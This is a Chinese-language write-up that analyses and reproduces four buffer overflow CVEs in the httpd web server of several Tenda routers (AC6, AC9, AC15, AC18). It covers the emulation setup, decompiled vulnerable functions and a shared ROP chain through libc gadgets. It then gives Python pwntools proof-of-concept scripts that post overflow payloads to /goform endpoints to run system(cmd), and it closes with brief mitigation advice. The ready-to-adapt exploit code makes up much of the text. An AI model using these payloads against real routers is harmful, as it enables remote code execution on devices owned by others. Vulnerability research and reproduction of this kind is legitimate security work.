Tenda路由器CVE:四个缓冲区溢出漏洞分析复现
字数 1628 2025-08-06 08:35:25
Tenda路由器四个缓冲区溢出漏洞分析与复现
漏洞概述
本文详细分析了Tenda路由器中发现的四个缓冲区溢出漏洞(CVE-2020-13394、CVE-2020-13392、CVE-2020-13391、CVE-2020-13390),这些漏洞影响多个Tenda路由器型号和固件版本:
- AC6 V1.0 V15.03.05.19_multi_TD01
- AC9 V1.0 V15.03.05.19(6318)_CN
- AC9 V3.0 V15.03.06.42_multi
- AC15 V1.0 V15.03.05.19_multiTD01
- AC18 V15.03.05.19(6318)_CN
所有漏洞都存在于路由器的web服务器(httpd)中,攻击者可以通过构造特制的POST请求触发缓冲区溢出,最终实现任意代码执行。
环境准备
所需工具
- QEMU用户模式模拟器:
qemu-arm-static - Python requests库
- pwntools工具包
- ROPgadget工具
固件获取
分析基于US_AC15V1.0BR_V15.03.05.19_multi_TD01固件版本,可从GitHub下载:
https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333
QEMU环境配置
- 安装qemu-user-static:
sudo apt install qemu-user-static
- 启动httpd服务进行调试:
cp $(which qemu-arm-static) ./qemu
sudo chroot ./ ./qemu ./bin/httpd
通用ROP利用技术
分析发现libc.so.0中存在两个关键gadget:
0x00018298 : pop {r3, pc} # gadget1 - 控制r3寄存器
0x00040cb8 : mov r0, sp ; blx r3 # gadget2 - 将栈指针赋给r0并跳转到r3
利用过程:
- 溢出后跳到gadget1,控制r3寄存器为system函数地址
- 第一个pc控制为gadget2
- 跳转到gadget2后,控制r0为要执行的命令
- 执行system(cmd)
漏洞详细分析
CVE-2020-13394
漏洞位置:formSetQosBand函数中的sub_7DD20函数
漏洞成因:
- 处理
/goform/SetNetControlList的POST请求时,list参数未经检查直接通过strcpy复制到栈变量 - 导致栈缓冲区溢出,可覆盖函数返回地址
关键代码:
list = (char *)sub_2BA8C(a1, (int)"list", (int)&unk_E250C);
sub_7DD20(list, (int)"bandwidth.mode", 0xAu);
// sub_7DD20函数内部
src = list_1;
strcpy(&dest, src); // 直接复制用户输入导致溢出
PoC代码:
import requests
from pwn import *
cmd = "echo hello"
libc_base = 0xf659c000 # qemu-user模式下的基址
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = 'a'*0x260
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/SetNetControlList"
cookie = {"Cookie": "password=12345"}
data = {"list": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
CVE-2020-13392
漏洞位置:formSetCfm函数中的sub_4EC58函数
漏洞成因:
- 处理
/goform/setcfm的POST请求时,当funcname参数为save_list_data时 funcpara1参数未经检查直接通过sprintf复制到栈变量- 注意参数后面会接上
.list字符串,因此命令后需要加分号
关键代码:
if (!strcmp(v17, "save_list_data")) {
funcpara1 = sub_2BA8C(v2, (int)"funcpara1", (int)&unk_DFA30);
sub_4EC58((int)funcpara1, funcpara2, '~');
}
// sub_4EC58函数内部
sprintf(&s, "%s.list%d", v6, ++v11); // 格式化字符串漏洞
PoC代码:
payload = 'a'*0x58
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd + ';'
url = "http://192.168.198.140/goform/setcfm"
cookie = {"Cookie": "password=12345"}
data = {"funcname": 'save_list_data', 'funcpara1': payload}
CVE-2020-13391
漏洞位置:formSetSpeedWan函数
漏洞成因:
- 处理
/goform/SetSpeedWan的POST请求时,speed_dir参数未经检查 - 通过
sprintf与格式化字符串拼接后复制到栈变量 - 用户可控空间在栈变量偏移25之后,需要填充35字节
关键代码:
speed_dir = sub_2BA8C(a1, "speed_dir", "0");
sprintf(s, "{\"errCode\":%d,\"speed_dir\":%s}", v15, speed_dir);
PoC代码:
payload = 'a'*35
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd + ';'
url = "http://192.168.198.140/goform/SetSpeedWan"
cookie = {"Cookie": "password=12345"}
data = {'speed_dir': payload}
CVE-2020-13390
漏洞位置:fromAddressNat函数
漏洞成因:
- 处理
/goform/addressNat的POST请求时,entrys和mitInterface参数未经检查 - 通过
sprintf拼接后复制到栈变量
关键代码:
entrys = sub_2BA8C(v4, "entrys", &unk_E5D48);
mitInterface = sub_2BA8C(v4, "mitInterface", &unk_E5D48);
sprintf(&s, "%s;%s", entrys, mitInterface);
PoC代码:
padding = 'b'*(0x318-1)
payload = ''
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie": "password=12345"}
data = {'entrys': padding, 'mitInterface': payload}
总结
这四个漏洞都是由于Tenda路由器web服务器在处理用户输入时缺乏边界检查导致的缓冲区溢出漏洞。利用方式相似,都是通过构造ROP链调用system函数执行任意命令。
注意事项:
- 不同运行环境下的libc基址可能不同,需要根据实际情况调整
- CVE-2020-13393和CVE-2020-13389实际上是堆溢出漏洞,不能直接套用本文的ROP利用方式
- 实际利用时需要考虑目标设备的网络配置和认证方式
防护建议:
- 及时更新路由器固件到最新版本
- 修改默认管理密码
- 限制管理界面的访问权限
- 启用路由器的自动更新功能